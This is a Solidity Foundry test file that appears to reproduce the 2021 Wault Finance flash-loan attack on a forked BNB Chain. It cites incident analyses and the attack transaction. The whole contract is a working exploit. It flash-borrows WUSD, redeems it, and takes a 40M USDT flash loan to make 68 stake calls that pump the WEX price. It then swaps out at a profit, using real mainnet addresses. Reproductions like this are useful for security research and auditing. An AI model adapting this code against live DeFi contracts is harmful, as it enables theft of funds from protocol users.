src/test/2021-08/WaultFinance_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// Analysis
8// https://medium.com/@Knownsec_Blockchain_Lab/wault-finance-flash-loan-security-incident-analysis-368a2e1ebb5b
9// https://inspexco.medium.com/wault-finance-incident-analysis-wex-price-manipulation-using-wusdmaster-contract-c344be3ed376
10// tx
11// https://bscscan.com/tx/0x31262f15a5b82999bf8d9d0f7e58dcb1656108e6031a2797b612216a95e1670e
12interface WUSDMASTER {
13    function stake(
14        uint256
15    ) external;
16    function redeem(
17        uint256
18    ) external;
19    function maxStakeAmount() external;
20}
21 
22contract ContractTest is Test {
23    IERC20 WUSD = IERC20(0x3fF997eAeA488A082fb7Efc8e6B9951990D0c3aB);
24    IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
25    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
26    IERC20 WEX = IERC20(0xa9c41A46a6B3531d28d5c32F6633dd2fF05dFB90);
27    Uni_Pair_V2 Pair1 = Uni_Pair_V2(0x6102D8A7C963F78D46a35a6218B0DB4845d1612F); // WUSD BUSD
28    Uni_Pair_V2 Pair2 = Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE); // WBNB USDT
29    Uni_Router_V2 Router = Uni_Router_V2(0xD48745E39BbED146eEC15b79cBF964884F9877c2); // WS router
30    WUSDMASTER Master = WUSDMASTER(0xa79Fe386B88FBee6e492EEb76Ec48517d1eC759a);
31    uint256 Pair1Amount;
32 
33    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
34 
35    function setUp() public {
36        cheats.createSelectFork("bsc", 9_728_755);
37    }
38 
39    function testExploit() public {
40        // borrow WUSD
41        Pair1Amount = WUSD.balanceOf(address(Pair1)) - 1;
42        Pair1.swap(Pair1Amount, 0, address(this), new bytes(1));
43 
44        // WUSD to BUSD
45        WUSD.approve(address(Router), type(uint256).max);
46        WUSDToBUSD();
47 
48        emit log_named_decimal_uint("Attacker BUSD profit after exploit", BUSD.balanceOf(address(this)), 18);
49    }
50 
51    function waultSwapCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
52        WUSD.approve(address(Master), type(uint256).max);
53        // WUSD to USDT, WEX
54        Master.redeem(WUSD.balanceOf(address(this)));
55        Pair2.swap(40_000_000 * 1e18, 0, address(this), new bytes(1));
56        WUSD.transfer(address(Pair1), Pair1Amount * 10_000 / 9975 + 1000);
57    }
58 
59    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
60        USDT.approve(address(Master), type(uint256).max);
61        USDT.approve(address(Router), type(uint256).max);
62        // USDT to WEX
63        USDTToWEX();
64        // stake to change Pair
65        uint256 stakeAmout = 250_000 * 1e18;
66        // Master.maxmaxStakeAmount();
67        for (uint256 i = 0; i < 68; i++) {
68            Master.stake(stakeAmout);
69        }
70        // WEX to USDT
71        WEX.approve(address(Router), type(uint256).max);
72        WEXToUSDT();
73        USDT.transfer(address(Pair2), 40_121_000 * 1e18);
74    }
75 
76    function USDTToWEX() internal {
77        address[] memory path = new address[](2);
78        path[0] = address(USDT);
79        path[1] = address(WEX);
80        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
81            23_000_000 * 1e18, 0, path, address(this), block.timestamp
82        );
83    }
84 
85    function WEXToUSDT() internal {
86        address[] memory path = new address[](2);
87        path[0] = address(WEX);
88        path[1] = address(USDT);
89        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
90            WEX.balanceOf(address(this)), 0, path, address(this), block.timestamp
91        );
92    }
93 
94    function WUSDToBUSD() internal {
95        address[] memory path = new address[](2);
96        path[0] = address(WUSD);
97        path[1] = address(BUSD);
98        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
99            WUSD.balanceOf(address(this)), 0, path, address(this), block.timestamp
100        );
101    }
102}